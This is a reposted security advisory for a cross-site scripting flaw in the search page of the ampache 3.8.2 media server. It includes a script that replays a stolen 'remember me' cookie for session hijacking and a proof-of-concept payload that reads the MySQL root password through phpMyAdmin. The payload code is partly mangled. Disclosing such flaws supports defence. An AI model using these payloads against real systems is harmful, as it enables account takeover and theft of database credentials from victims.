ampache v3.8.2 Cross Site Scripting

Credit: hyp3rlinx
Risk: Low
Local: No
Remote: Yes

[+] Credits: John Page aka hyp3rlinx [+] Website: [+] Source: [+] ISR: ApparitionSec Vendor: ========== Product: ============== ampache v3.8.2 A web based audio/video streaming application and file manager allowing you to access your music & videos from anywhere, using almost any internet enabled device. Vulnerability Type: =================== Cross Site Scripting (XSS) Security Issue: ================ ampache has XSS entry point on "search.php" webpage, if the "remember me" checkbox is used when authenicating, remote attackers can steal the "ampache_remember" cookie to potentially gain access to the ampache application from another machine/browser. If application is hosted in an environment using name-based virtual hosting where many different hosts can share the SAME IP address. Then possibly attackers on same virtual environment can add the session exploit file to the web server and later request it via IP address potentially allowing attackers to be authenticated using the victims stolen "remember me" credentials. 1 Open a new browser etc 2 Enter victims IP followed by our exploit HTML file including the victims stolen cookie and remember me token. Your in! e.g. <script> document.cookie="ampache_remember=admin%3Afec492d2160d171ca6e73178d7642e5e%3A9607fc374991cd336dad41b69cddef612981cbdf823a5fa0e8778187e594a7bc; ampache=clrcnors56jpt5h5r8krfp9ag1; ampache_user=admin; player-61646d696e=1";'http://VICTIM-IP/ampache-3.8.2_all/?ampache=clrcnors56jpt5h5r8krfp9ag1') </script> Below XSS exploit will instead attempt to lift MySQL Database 'root' user password if PHPMyAdmin is present. Exploit/POC: ============= Steal MySQL Database 'root' user password POC, if PHPMyAdmin is present. We will use backtick "`" operator for the Ajax GET request as single quotes are escaped by slashes. Tested successful in Firefox / PHPMyAdmin 4.5.1 <form method="POST" action=""> <select name="rule_1"> <option value="/></script><script>var xhr=new XMLHttpRequest();xhr.onreadystatechange=function(){if(xhr.status==200){var`username=root`);if(n!=-1){alert(xhr.responseText.substring(n+104,n+275));}}};`GET`,``,true);xhr.send(null)</script>">Anywhere</option> </select> <script>document.forms[0].submit()</script> </form> Network Access: =============== Remote Severity: ========= Medium Disclosure Timeline: ================================ Vendor Notification: No reply May 29, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017,


Back to Top